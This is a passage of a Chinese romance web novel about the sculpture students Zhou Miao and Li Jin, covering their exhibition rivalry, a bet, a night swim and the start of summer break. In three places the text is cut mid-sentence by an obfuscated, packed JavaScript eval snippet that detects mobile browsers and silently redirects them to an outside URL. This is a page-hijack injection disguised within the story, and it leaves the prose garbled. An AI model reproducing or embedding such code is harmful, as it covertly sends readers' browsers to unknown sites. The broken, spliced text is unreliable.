周淼睁眼，白花花的天花板上有几处不明显的黑点，一旦被发现了，便很难忽视。她很平静地看向刘圆：“为什么这样问。” “不是，你们俩真认识啊？”李小音见周淼这个反应，很敏锐地捕捉到了什么，有时候，女人的感觉就是这么不讲道理。“怎么不早说啊！大家相互认识一下啊？！还藏着掖着。” 刘圆点开论坛上的帖子，将手机递给周淼：“你看淼淼。” “论坛都炸了！！” 周淼接过，将帖子从头看到尾，一言不发。李小音见状继续追问：“你们俩真的是说好的吗？在展览会上故意做差不多的东西。” “没有，纯属巧合。”周淼并不打算对她们多说，也不想解释什么，看完就把手机还给了刘圆。 她下床，喝了口冷水。李小音见她换衣服打算要出去，却一副不打算多讲的样子，再一次追问：“淼淼，你到底认不认识黎烬啊？” 周淼懒洋洋地扎起头发，她换了新的发绳，闻言，漫不经心地扫了一眼李小音，笑：“你一直问黎烬做什么？” “真想认识他？” “我……”李小音冷着脸，忽然不说话了。刘圆笑兮兮道：“哎呀我们俩就是好奇嘛！毕竟是南工有名的人物，人帅多金专业强，这样的大帅哥谁不想认识啊！！快和我们说说淼淼！” “想认识自己去啊！总问我们家周淼干什么？”郭安迪的声音忽然从门口传来。她化了妆，扎着高马尾，穿着紧身短裙，像是刚从外面回来，周淼看了她一眼继续收拾东西，“马上了。” 她们约好下午要去南工看展的。作品结束后，周淼睡了一天，郭安迪去酒吧嗨了一天。 刘圆：“你们俩干嘛去啊？” 郭安迪：“看展啊。” 刘圆：“哦，我们都看过了。” 收拾好东西，周淼洗了把脸，就和郭安迪出去了。门一关上，李小音黑着脸没忍住道：“有什么了不起的，说不定他们俩根本就不认识。” “算了。就算认识，周淼也不可能带着我们去认识黎烬吧？我们平时的关系哪有这么好啊。”刘圆安慰道。 看着紧关上的门，想起周淼和郭安迪，李小音没好气：“两个怪人。” 虽说是下午，外面的日光还是晒得很，郭安迪没什么劲地喝着冰水：“放假你是回家还是留在A市。” “不太想回去，也不想在这。”周淼淡淡说道：“我再想想。” 郭安迪：“……”得，白问。 周淼：“网上那帖子你看了没？” “看到了。”郭安迪挑眉，“那楼主说得还有理有据的。” 周淼：“如果是真的呢？” 郭安迪看她：“这重要吗？” 是的，不重要。 周淼很平静地想着，就算有一天她和黎烬的关系人尽皆知了，那也没有什么好意外的。 这就是她想要的。 “只是有一点。”郭安迪停住，将冰水故意往周淼胳膊上一碰，似是要提醒她一般：“虽然我知道你没那么傻，但我还是要提醒你，小心为上，别成为第二个秦佳。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043956|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — — 下午，展览会里的人少了很多，没有想象中那么拥挤。共二层的展，直到天黑了才看完，过道人来人往，走走停停，里面大多数人都是南工和南通的学生。和郭安迪是什么时候走散的，周淼忘了，作品太多，眼花缭乱，下学期开学还要交这次期末作品的论文。 走了很久，周淼停在了黎烬的作品前，这里围了很多人，都在拍照。和预想中的一样完美，无瑕，泥塑的线条柔和准确，肌肤与纹理深浅有度，周淼最喜欢线条，平衡对称，每一根线都有着细微到极致的那种美感，就像黑白，你能体会到吗？就像你身上两只眼睛一对鼻子一双嘴两只脚两只手，这样极致对称的美感，深浅，明暗，起伏，在黎烬的作品里体现到淋漓尽致。 黎烬的风格，与她完全是两种不同的风格，他呈现出的是爱情最美妙的时刻，男女纠缠，至死方休；而她，周淼静静地看向另一边，爱洛斯雕像身躯残留，钢铁的粗犷与锈化的颗粒，让他满是沧桑，直至腐化消失，他神态模糊头微微上扬，似是在哭泣着什么，两只手紧紧地捧着胸腔，掩饰着，因为他的心早已空缺腐烂，胸膛上明晃晃的窟窿眼就像爱情里最先变质的真心，一旦污染便再也回不到最初。 “你所认为的爱情真谛是什么？” 这是目前校网论坛上讨论最多的一个帖子。周淼不知道答案。 “走了。”郭安迪找了过来，她看到黎烬的作品微微摇头：“第一又是这位的了。没意思，回去躺着吧。” 周淼笑了笑，不怎么在意：“我还有点事，你先回去吧。” 郭安迪：“行。一天一夜了，我要回去洗澡睡觉，再不洗都腌入味了。” “没事，明年你一定可以赢他。”她笑着安慰周淼。 周淼：“就这么肯定我输了。” “也不一定，但这次他看着赢面要大一点，不过我敢肯定，明年的你能力绝对不输黎烬。走了，拜拜。” “你也早点回来。” 说完，郭安迪走了。 其实是不是第一名，周淼一点也不在乎，可谁让她和黎烬打赌了呢？她不想输给黎烬，不管在哪个方面，但如果这次她必输无疑的话，那她就得从别的方面赢回来。 夏日的夜晚总是那么闷热。 周淼走出展会，黎烬发来消息。 F：【在哪？看展了没？】 F：【你的爱洛斯很漂亮，就是有些沧桑，还没有心。】 他已经看过了。周淼几乎能想象到黎烬站在她作品前的样子。 蓝色气泡水：【看了。你的也很不错，厉害了。】棒棒哒.gif F：【在哪？】 周淼犹豫了一会，打字。 蓝色气泡水：【在你们学校，刚刚看完，还没走。】 不一会，黎烬发来一个定位，距离她很近，点进去一看，是附近的大楼。 这个点，他还在学校？正想着，手机突然震动一声， F：【来找我。】 11. 水下 大楼一层最里面是游泳池。 一进去，周淼的视线开始不由自主地搜寻黎烬的身影。 夏夜闷重，水声哗啦，昏暗的光线似是故意，加重了这潮湿的氛围。她放轻脚步，缓缓走进，水流划动的速度与声音，每一次摇摆荡漾，都令周淼下意识悸动侧目，寂静空旷的泳池里有一道身影，是黎烬，快速而有力地划动着双臂，激起一串串晶莹的水花。 周淼没有出声打扰他，站在一边静静注视。窗外喧嚣，与室内的空旷寂静形成鲜明对比，直到黎烬游了过来，他赤裸着上身，伸手摘下防水眼镜，周淼一眼就看到了他人鱼线位置若隐若现的蝴蝶纹身，他擦干脸上的水，“怎么不叫我？” “刚到。”周淼眸光微动，不动声色地收回目光：“这个点，你应该还没有吃饭吧。我请你。” “正好我也饿了。”她脸上带着笑。 看展的时候，她就饿了。 闻言，黎烬笑了一下，挥洒着头上的水，男生身上的气息浑厚肆意，有几分漫不经心，周淼十分大胆地看着，不躲避，更没有害羞的样子，黎烬见状懒洋洋道：“好啊。反正还没有女生请我吃过饭呢。” 周淼：“真的假的？” 黎烬：“不信？” 不信。这是周淼的第一反应。 可她不会说出来。 黎烬坐在游泳池边，用毛巾擦着湿漉漉的头发，他忽然一顿，问：“看完作品了，什么感觉现在。” 周淼想了想，“不太好说。” 她学着他也坐了下来，手忍不住玩起水来，冰冰凉凉，很舒服清爽，在水里的感觉一定挺不错。黎烬抬眼轻轻扫她：“怕了？” 周淼歪头看他，没说怕不怕，“难道现在我还可以反悔吗？” 黎烬笑：“当然不行。”他说着，忽然意味深长地笑了笑：“因为我已经想到要你做什么了。” “所以这个赌只能进行下去。” 说到赌约，周淼来了兴趣：“你想要我做什么？”说着，她的目光再一次落在黎烬腰下的蝴蝶纹身，“反正你的蝴蝶我已经看到了。” 闻言，黎烬动作微顿，低头下意识瞥了眼腰腹，片刻，他忽然一笑：“你胆子真大，这地方也敢乱看。” “所以你是要认输了。”黎烬问。 “不。”周淼摇头。她起身，看向还在水中的黎烬，声音淡淡，恬静的脸柔和姣好，低眸时表情有几分居高临下的意味，她很平静：“我不会输给你。” 就算结果真是输，没到那一刻，气势也绝不能输。这是周淼的准则。 “……” “你先去洗澡换衣服吧，我在外面等你。”周淼说着，转身就要离开，她的脸上带着一丝淡淡的笑，可落在黎烬眼中，那是一种说不出来的感觉。像是挑衅调侃，第一次觉得自己被动了，那一瞬，好胜心激起，他忽然想要看到周淼惊慌失措的样子，少年脸上扬起恶劣而又肆意的笑，他瞬间扯住了周淼的胳膊，不等她反应，他拉着周淼一起坠入水中，平静的水面激起巨大的波澜。 水花四溅，沉重，寂静，像命定的红苹果从树上坠落，他抱着周淼一同沉入水底，没有激烈的挣扎，无数白色的气泡散开，黑色与蓝色的倒影，水中的世界的一片寂静，没有喧嚣，没有情感的牵扯，没有苦涩的味道，他们只感受着这份平静与来之不易的心悸，短暂的与这世界脱离告别。 出水的那一瞬，周淼托着黎烬的肩膀，大口大口地喘着气，她的头发全都散了，昏暗的光下像个女鬼，双颊染上几分潮红，却没有黎烬想象中的慌乱与生气，黎烬盯着她，情绪难辨。 清爽，这是周淼的第一感觉。她不记得在水下闭气了多久，只记住了这份最直接感受到的畅快，黎烬还托着她一动不动，他的头发又湿了，湿漉漉挂着水珠滴滴答答，脸是好看的，只是模样有些滑稽，她推了推黎烬，“走了，上去了，真的饿了。” 她连为什么都不问。没有寻常女生的扭捏，争吵，哭闹，连最简单的生气都没有过，黎烬发现周淼在他面前好像一直都这么平静，不管他做什么，是她太特别，还是习惯性，还是……他微微眯起眼眸，气息忽然变得危险，禁锢着她的胳膊有力而滚烫，“周淼，为什么不生气？” 周淼愣住，一时没反应过来，刚要解释，黎烬忽然靠近，暗沉深邃的眸紧紧盯着她，像是要将她吞噬，周淼忽然有些不敢乱动，他的声音很轻，却是笃定：“周淼，你喜欢我，对吧。” “我……”周淼呼吸一滞，脸上终于有了变化，是黎烬想要看见的。 可她否定了。“没有。” “不喜欢还出现在我面前？对我做这么多？到底你傻我傻？”他问得有些冷静，脸上带着笑。 周淼不说话了。她忽然低头，不去看他，黎烬带着她往岸边游。 离了水，风一吹就有些凉了，幸好晚上这边一个人都没有，周淼身上裹着毛巾等待，心里一片平静，黎烬从男生的更衣间出来，丢给周淼一套干净的衣服，只不过是他的。 周淼接过，黎烬却没松手，感受到对面强劲的力道，周淼下意识抬眼望向他，四目相对，黎烬挑眉，他笑得尽情肆意，昏暗的过道里，那双滚烫而炽热的眸子盯着她缓缓说道：“周淼，如果你输了，给我做模特。” “不穿衣服的那种，人体模特。” “你敢吗？”他问道。 周淼很清楚，赌约过后，她和黎烬之间的关系便是另一个阶段，没有回头路可以走。她很轻地笑了一下，慌乱中反问：“如果是你输了呢？” 谁知黎烬懒洋洋地，学着她之前的样子说道：“我不会输。” 周淼继续笑：“万一呢。” 蝴蝶她已经看到了，之前的约定肯定不算了，黎烬倒是无所畏惧，男生耸了耸肩：“随你处置。” “你做什么都可以。”他道。 周淼：“真的？” 黎烬：“我不骗人。” “那我可要好好想想。”周淼还真的想了起来，片刻，她就有了主意，夜晚果然是不一样，有着无穷无尽的力量与决绝，她静静地望着黎烬：“黎烬，我要你吧。” “我？”这会轮到黎烬愣住了。 是真的愣住。好一会，他才从周淼的话里会意，眼中满是不可置信，周淼继续道：“输了，你就是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043957|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 好一会，黎烬气笑，挑眉：“你知道自己在说什么吗？” “知道啊。” 周淼看着他，笑了，一本正经地说道：“就像你知道，我喜欢你一样。” 说完，她扯过黎烬手里的衣服，头也不回地进了另一边的更衣间。 黎烬默然，还站着，一动不动。 — — 最后他们吃的还是面。 夜深，店里客人寥寥无几，橘黄色的灯光昏暗温馨，透明的落地窗映着两人并肩坐着的身影，冲了个舒舒服服的澡，晚风凉爽，周淼胃口大开，一大碗热腾腾的拉面她吃得津津有味，她发现最近自己也爱上了面食。 反倒是黎烬，没什么胃口，草草地吃了几口就放下了筷子，他也不做别的事，就用胳膊撑着头，盯周淼看，他看了好一会，周淼终于忍不住，盯回去问道：“一直看我做什么？不吃吗？” 黎烬目光下滑，扫了眼周淼面前只剩汤的碗，轻轻一笑：“饱了。” 周淼意犹未尽，继续点小吃。 今天晚上她是真的饿到了。 “总感觉我们之前在哪里见过，但是想不起来。”黎烬忽然道。 周淼闻言一顿，筷子搅着面汤来来回回，她抬眼看向黎烬，否定：“应该没有吧。” “算了。”黎烬突然说了这么一句。 周淼看着他拿起手机，目光终于从她身上转移，她却被揪起了好奇，问着黎烬：“什么算了？” 冷白色的屏幕光打在他脸上，勾勒出棱角分明的轮廓，黎烬的长相极具辨识度，是摄人心魄的那一种。他的眼眸从手机上移开，看向周淼，带笑：“想着……就试一次。” 试一次，他想试什么？ 周淼仿佛意识到了什么，确认般地再次问道：“黎烬，你在说什么？” 可他的态度始终扑朔迷离，只是淡淡地笑。他这个人，就像深山老林里的一场浓雾，未至天明时，太阳彻底升起落下，难以窥见他的真实意图。 后面不管周淼怎么问，黎烬都不肯说，只是陪着她慢悠悠地吃东西。小吃基本上都是周淼一个人干完的，吃到最后撑得很，再吃就要吐了，偏黎烬还要欠欠地问一句：“要再来一碗拉面吗？” 周淼：“……” 黎烬笑：“要吗？” “不了。我谢谢你。” “不用客气，我请你。” “……” 他们只顾着彼此，丝毫没注意到店外路边的一行人，正看着这边，其中就有叶晶晶。 “哟，这不是黎烬吗？烬哥啊！” “过去打个招呼啊？” “那妹子谁啊？有谁认识吗？” “……”他们说着说着，目光就看向了脸色不好的叶晶晶。 “晶晶你认识吗？”有人笑着问。 叶晶晶冷着脸没出声。 她怎么也没想到，会在这里看见黎烬。自上次，黎烬就像消失了，不怎么出来玩，她也联系不上，她就像被突然隔离了一样，挤出了他们的圈子。 可现在，就是这么碰巧，看见黎烬和别的女生在一起。 12. 假期 吃饱喝足，周淼打算走回去，正好消消食。一出店门就发现外面乌泱泱站着七八个人，男男女女都有，他们穿着打扮都比较性感，都认识黎烬，见到黎烬一个个的打着招呼，周淼一眼从人群里见到了那个女生。 那个和秦佳起争执的女生，名字好像叫作晶晶。 与此同时，周淼注意到，叶晶晶也在看着她，目光上下都是打量，满是不屑，很明显的敌意。 见状，周淼微微一笑，她不动声色地站着黎烬身后，眼神毫无怯意，望向叶晶晶时眸底故意露出一丝难以察觉的挑衅。女人之间的磁场很奇妙。 果然，下一秒，她的脸上有了明显的变化。叶晶晶气势汹汹就要冲上来质问，周淼却先她一步开口，她看向黎烬说道：“你朋友在，要不我先回去？” “等会。一起回去。”黎烬道。显然他没打算多待，同时他也看到了冲上来的叶晶晶，一脸凶相，黎烬蹙眉：“你做什么？” “我……”叶晶晶哑然。周淼已经不再看她，自顾自地玩起了手机，而她更没有质问黎烬的资格。 快要打烊的店门口，黎烬还在和他们寒暄着，他时不时说几句，兴致看着一般。周淼玩着手机，心思却注意在他们的话题上，有些心不在焉。 “烬哥，怎么在这啊？” 黎烬声音淡淡的：“吃东西。” 他又问道：“你们怎么跑这来了？” “巧了，过来买烟的，看到你不得过来说几句啊！” “哦” “……” “一起过去玩不？嗨一下！” 黎烬拒绝：“不了，回去睡觉。” “睡觉啊……” “那都没意思啊？一起啊！带上那姑娘一起啊！对了，这姑娘谁啊？不会是烬哥你女朋友吧！”有人笑嘻嘻地问着黎烬，另外几个连忙打岔：“开什么玩笑！这话可别乱说，我烬哥可从来都不交女朋友的！就是玩哈哈……” “……” “走了。”黎烬声音始终都是淡淡的没什么情绪，说完，叫了周淼一声，转身离开。 周淼跟上黎烬，与他们错身，正好是相反的路。 走了段路，身后终于安静了，连那些人的影子都看不见。 眼前的路仿佛没有尽头，只要不停似乎能到天荒地老。 周淼漫不经心问：“那些人，是你的朋友吗？” “算不上，就是认识的人。”黎烬说道。 周淼继续问：“那你真的从来都没有谈过女朋友吗？” 这问题来得突然，黎烬知道周淼是听到了刚刚那些人的调侃。他低头扫周淼一眼，笑：“怎么，要刨根问底。” 周淼点头，大大方方道：“你也可以问我，不会让你吃亏的。” 黎烬：“我没什么想问的。” 周淼听了，皱眉道：“没什么想问的吗？那就是说你对我不好奇，不好奇就代表无所谓，不在意，看来我不招人稀罕啊。” “……”黎烬倒是有些没想到，一句话能让周淼说出这么多，他问：“哪来这么多弯弯绕绕。” 周淼：“女生就是这样。” 她一脸认真。 黎烬笑了，反问：“怎么，你对我很好奇吗？” 周淼：“我不该好奇吗？” “应该。”黎烬拒绝继续绕下去，他他道：“但我只想认识现在的周淼，好奇现在的周淼。我的目光不会落在过去与未来。” “真是好厉害的一句话。”周淼在心里想着。无言以对。 周淼继续保持着好奇，问：“所以真的没有过吗？ 这个话题像是过不去了。 黎烬停住，目光先是在四周巡视了一圈，手指向某处，周淼顺着他的方向看，马路对面，有着一对男女，神情模样看着像是一对情侣，正在打闹着，很是甜蜜。周淼正疑惑着，黎烬靠近声音响起：“算不上吧。” 他在回答着她的问题：“因为，我谈不了像他们这样的恋爱，就算有，也不会长久。” “纯粹的爱太过难得，大部分只存在于人们编撰好的故事里。现实复杂多变，利益为先，我不付之真心，便是铜墙铁壁。”他说着，忽然一笑，笑得放浪不羁，周淼在他眼里看到了浓浓的嘲讽：“说白了，周淼，我就是个人渣。” “这样，你还敢对我好奇吗？”他说完，笑着继续往前走。 周淼沉默的站在原地，心想：这算是恐吓吗？ 心微微一动，她追上去，看着黎烬一脸执着：“你还是没碰到那个人，那个能让你吃亏的人。” 夜色寂静，风轻轻凉凉，黎烬目光平静地望向前方，坦然：“好啊。我拭目以待。” — — 一年一度的期末展览会，到底还是迎来了最终时刻，两校一同举办了个表彰大会，地点还是在南工，前十都有奖金和奖牌，以此激励。 每年到了这个时候，其实最后去的人不多，周淼就没去。 至于黎烬，去年他人就不在场。 今年应该也不会出现了。 表彰大会结束，南通雕塑系这边就算正式放假了。周淼一个人在宿舍里收拾东西，她打算提前回去。 李小音和刘圆回来的时候，周淼正好收拾完行李箱，她一副要走的样子刘圆见状问道：“淼淼，你这是……你就回去了？放假还有几天呢。” “是啊，怎么就走。”李小音问。 周淼看了眼手机，四点半，时间还早，她笑了笑道：“有点事，我就先回去了，下学期见了。” 刘圆愣住：“今天就走啊？” “嗯。”周淼点头。 “没见过你这么急的。”李小音忍不住嘀咕，周淼手机一直响个不停，有人在给她发消息。李小音想起刚刚的表彰会，排名出来时有很多人都在吃惊，黎烬虽然是意料之中的第一，可排在第二的周淼和黎烬只差十票，关键是两人都没来，鉴于之前的种种传闻，论坛上怕是又要刷爆了。 周淼和黎烬到底认不认识呢？李小音不禁想，刘圆已经兴奋地围过去对周淼说：“你还不知道吧淼淼！！你太牛了淼淼！！你知道吗？你和黎烬就差十票！十票啊！就差一点点！” “那还是差了一点点。”周淼笑。 排名多少她已经知道了，郭安迪早就拍给她了。校网上到处都是，她想不知道都难，更何况这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043958|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个结果，她能预料到的。她和黎烬之间，果然还是她输。 “对了，奖金奖杯什么的辅导员帮你拿了，之后你有时间，去找他拿就是了。”刘圆继续道。 “谢了。” 周淼检查着东西，看还有什么遗漏的，忽然，她看到了桌上放着的《伯里曼》，堆在角落里生灰，这是她从黎烬手里抢来的。 “输了，你给我做模特，不穿衣服的那种，人体模特。” “你敢吗？” 不穿衣服的人体模特…… 周淼不合时宜的想起了这件事，思绪有些远游。黎烬到底是认真的还是一句玩笑话她不得而知，但不穿衣服在黎烬面前……呵，完全做不到。 她那会真是头脑发热。 傻缺了。 李小音见周淼表情怪怪的，脸色一会红一会青，一会又扶着脑袋摇头，她看向刘圆：“她怎么了？” “明明得了第二，看起来却一点都不开心，那可是两个学校系里排出来的第二各啊！我连前十都没有进呢。” 刘圆：“她这是太开心了吧？” 李小音：“有吗？” “……” 五点，周淼准时离校。 她坐车去高铁站，打算回榕城，那个从小长大的城市，小学，初中，高中都在的地方，那个空荡荡只有她一个人的家。放假前郭安迪就问过她，是回去还是留在A市，她本来是不打算回榕城的，可现在，她觉得自己有必要躲黎烬一阵子了。 虽然不全是因为黎烬。 黎烬电话打过来的时候，周淼已经在高铁站等了，电话接通，黎烬那边很安静，她这边倒是挺吵。 “喂。” “听得见吗？” 他的声音听不出什么情绪。 周淼：“嗯，我在。” “看了没？”他问。 周淼知道他在问什么，喧闹的背景下她声音显得很小，“嗯，我输了。”紧接着她又道：“但虽败犹荣，明年你可不一定能赢得了我了。” 下一秒，黎烬果然在电话那头笑出了声：“你还挺倔，信不信明年继续把你打趴下。” 周淼：“不信。”傻子明年才继续和你赌。 “某人输了，让我想想……”他在电话那头笑得洋洋得意：“什么时候让某人践行诺言好呢？找什么样的图？用什么颜色？” “你在哪？” “周淼。” 黎烬声音断断续续，每一句却十分直接且意图明显。他现在就像个打了胜仗的勇士，周淼看了眼昏沉的天，轻轻一笑：“高铁站。” “高铁站？”电话那头愣了几秒，像是有些没反应过来，周淼笑着，听着广播响起的声音，说道：“是啊。南通已经放假了，我想先回去，赌约的事等下学期开学了再说吧。”她的声音在电话里时近时远，有些不太真切，黎烬下意识皱眉，有片刻的茫然，很快，周淼的声音再次响起：“……要上车了，信息不好，黎烬，我挂了。” “拜拜，黎烬。” “嘟……” 周淼真挂了电话。 黎烬难以置信地看着手机，有些不太确定：“这就……跑了？” 13. 春夜 考试结束，各大院校陆陆续续开始放假，六七月份，是一年之中最热的时候，燥热的夏天蝉声不停，晒得人头晕眼花，放假对于学生来说是最幸福的事吗？百分之九十的人都会点“是”，可对于黎烬来说，其实没多大变化。 生活还是一样在继续。 起床，吃饭，上班，读书，夜晚降临了，睡觉。生活就是这样，循规蹈矩的日复一日，如果有一天你意识到没意思了，其实已经持续了好久，好久。 黎烬走在路边，天已经黑了，地上的倒影拉长，面前人群嬉闹，有人过来跟他要联系方式，他淡淡地打量了那女生一眼，很漂亮的脸蛋。这个时候楚琪打来了电话，他什么话都没说，接通电话转身走：“什么事？” 身后隐隐约约传来他们的议论，黎烬也毫不在意。从初中开始，他的生活就是这样，不断有人进入，有人走着走着就消失了，有些他甚至已经记不得名字和模样，现实就是这么冷漠残酷，他不迎合，不在意，不那么清醒，能快乐一瞬就是一瞬，就算一直这么糊糊涂涂下去又有什么关系呢？ 楚琪大张旗鼓弄了个party，庆祝他脱单，出奇的是一向不爱热闹的周武也过来了，黎烬到的时候，已经接近尾声，人走了不少，沙发上醉的醉，睡的睡。黎烬点了杯冷啤，周武坐过来见他神色一般，笑道：“最近怎么了？怎么又一副半死不活的样子。” 楚琪无情嘲笑：“他啊！肯定被妹子抛弃了呗。” 黎烬：“滚。” “你现在是怎样？有了女朋友就开始嘲笑我们俩，见色忘友。”周武毫不留情的开喷，楚琪笑笑，挤着坐过来推搡黎烬：“说真的，不带出来见见，让我们认识一下。” 周武也附和：“是啊，见见啊。” 黎烬不说话，楚琪想到什么，忍不住笑：“你不会……被甩了吧？人家姑娘不要你对不对？！” “滚啊。”黎烬推开他们俩，“没到那个程度。” 他脸上看不出情绪，眸底一抹暗光流动。看着没什么，但楚琪可太了解他了，黎烬对那姑娘不一样，有戏，有情绪，他忽然就开始好奇，那是个什么样的女生？能让黎烬变得不一样。 问是问不出的，黎烬也不会说。楚琪心里有了主意，说道：“我不管，等你们开学了，我组个局玩，你就负责把人家姑娘叫过来啊。” “听到了没？” “……” 黎烬不说话，楚琪就一个劲地说一个劲地问，周武在旁边看热闹，黎烬不知道是烦了还是怎的，最后还是不太情愿的答应了。楚琪为此乐了挺久。 夏日闷热，持续高温，窗外的蝉鸣像一把钝锯，来回拉扯，倦得人不想出门，冰啤的凉意透过铝罐渗入掌心，黎烬一口气喝下半罐，忽然看到冰箱角落里放着的蜂蜜，片刻的沉默，他一把关上冰箱门。 假期已经过半，继上次那道电话结束后，他和周淼没再联系，很奇怪，她就像从他的世界里消失了一样，仿佛从来没有出现过，可看到这瓶蜂蜜，他想起了周淼。这是第一次。 周淼和其他女生很不一样。 她从不过分靠近，相处时会下意识保持距离，有时候，她的眼里甚至看不见半分热情，你会怀疑，但你还是能感受到她的喜欢。不知不觉中，黎烬发现自己的世界里开始有了她的痕迹，可一转身，又什么都没有。 他窝在沙发里，手里的冰罐融出了水渍，满手潮湿，滴滴答答，落在地板上，船长见状凑了上来，哈气舔舐着他的手心，黎烬见状笑了笑，抚摸着它的下巴。 生命里有些记忆，总会不合时宜的出现。比如黎长建的脸庞，以为会忘记模糊的，可在记忆里却清晰可见，难以割断的痛苦根源。 他之前问过周淼两次：“我们以前是不是见过？” 两次，周淼都否定，摇头：“应该没有吧……” 见过吗？见过的。比想象中还要早的认识她，只是周淼不知道。 第一次见周淼的时候，大概是十几岁吧。那次，和黎长建吵了一架，吵得十分激烈和痛苦，他不想回家，不想见人，就随便进了一家图书馆。 他清晰的记得，那时是秋天，窗外的叶子黄了，风一吹就落，他穿着一件卫衣，紧紧裹着，其实那时候他根本没注意周围，只想找个安静的角落，不被人打扰，拿本书假装性的放下，然后睡觉。也许只有这种略显安静偶有喧嚣的地方，能让他觉得踏实安全。 不一会，有人坐在了他对面斜侧的位置，是个姑娘，没看他，在看一本绿皮的书。 黎烬只看了她一眼就没管了，继续睡觉。这一觉他睡得很安稳，直接躺到了傍晚，睡眼惺忪醒来，没想到对面那姑娘还在，也是这时候黎烬才注意到了她，长长的黑发，很白，鹅蛋脸，看着很恬静的一个女生，手里的书还是之前那本绿皮封面，可能是注意到了他的目光，她突然看了过来。 就很突然—— 四目相对那一刻，黎烬心虚地移开了目光，侧过脸，有些恹恹的。毕竟他现在的脸可没那么好看，挂了彩，怪吓人的，像鬼一样…… 不一会那姑娘果然有了动静，开始收拾东西，准备要走了。 黎烬无所谓地看向窗外余晖，橘红色的天空，仿佛要烧起来。面前忽然有动静，有东西放在了他桌前，黎烬低头看了看，是一瓶水和几张创可贴。 他抬头一看，她已经走了，背影也很快消失，可他却在那一瞬间记住了她的脸。所以后来，再次相见时，他也能在一瞬间想起。 第二次，是高三的时候。 周武不知从哪认识了几个外校的女生，总叫来一起聚着玩，久而久之，便熟络了。女朋友什么的他很早之前就表示过，不谈，不搞，硬是要凑上来玩的话他也无所谓，代价后果自己能承受就好，每当到了那个程度，有人在他面前哭着闹着要名分时，他都会立刻毫不留情的拒绝，伤害了又怎样， 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他从小就知道，美好的东西往往暗□□性，就像蓝闪蝶，在阳光的照耀下会呈现出耀眼鲜艳的颜色，它会扇动着蓝色的大翅膀在空中翩翩起舞，尾翼长如丝带，临风飘动，姿态轻盈，美到让人不敢眨眼，可稍有不慎，就会被翅膀背面藏着的毒素致命。 他看着周淼一步步走近，看着她没有温度的眼睛，笨拙而又精明的笑，缘分始然也好，还是别的什么，其实他都无所谓。 因为他也是同样的，别有用心，蓄谋已久。 谁都不知道结果，输赢未定，一切皆有可能。他想要抓住那只蝴蝶，抓住一切美丽而又耀眼的东西。 “……” 接到黎烬打来的电话时，周淼竟有一刻没反应过来。 她站在街边的树荫，烈阳高照，这日头看久了便会觉得眩晕，已经有大半个月没联系，只是周淼没有想到，会是黎烬主动联系的她。 接通那一瞬，久违的声音响起，周淼有几分不确定地问：“黎烬？” “嗯，不然你以为谁？”他声音听起来有些欠欠的。 周淼直入主题：“怎么了？” 他声音听起来又有些不耐烦：“周淼，是不是我不找你，你就不会主动找我了？某人是不是忘了，还欠我一个赌没还呢。” 周淼微顿，解释：“没有忘，我最近在忙……” “在忙什么。”他问。 “很多。” 黎烬：“什么时候回A市。” 周淼想了想，眸光微闪：“等开学吧。” 沉默了一段时间，黎烬淡淡的哦了一声，一句“挂了”，电话就真挂了。 周淼看了眼通话记录，还有些没回过神，眼前忽然多出一道阴影，顾岁夕走了过来，温声道：“怎么停下了，和谁打电话呢？” 14. 榕城 “和谁打电话呢？” 听到顾岁夕的声音，周淼瞬间晃过了神，她关掉手机，抬头看向面前的顾岁夕道：“没谁，走吧。” 放假，顾岁夕也回了榕城。两人碰面喝了个下午茶，喝完茶，周淼就打算回去了，顾岁夕继续问：“晚上真不一起出去吃个饭吗？” 周淼婉拒：“不了，下次吧。” “我在榕城待不了多久，很快就要回去，等下次就只能等我去A市的时候再约了。”顾岁夕看着周淼说道：“到时候我找你你不会又拒绝吧？” 顾岁夕笑着问。这话听起来好像是玩笑，但又像是在确认什么。 可这世上不是所有关系都需要继续维护下去的，有的，只存在于某个特定时期。 周淼没给明确答复，“看情况，有空就去。” 路边车流不断，两人站在边上等出租车。等了多久，顾岁夕就说了多久的话，大部分都是他在问，周淼偶尔答上几句，她兴致一般，有些东西，说来说去还是以前的那点事。 顾岁夕道：“我也有几个搞艺术的校友，挺厉害的，他们大三大四时都会考虑出国，淼淼，你有想过吗？”犹豫了一下，顾岁夕继续道：“我听说，伯父他也在国外……” “你要不要……”他话没说完，周淼脸上就有了明显的反应，那是一种下意识的厌恶。 周淼十分冷漠道：“那又怎样？” “我……”顾岁夕顿住，开始后悔提及周淼的父亲，可话已经说了。 他解释：“我不是那个意思。” 他还想说点什么，车来了，周淼不想多说，也不想听，她打开车门淡淡留下一句“走了”。 砰的一声，车门关上。 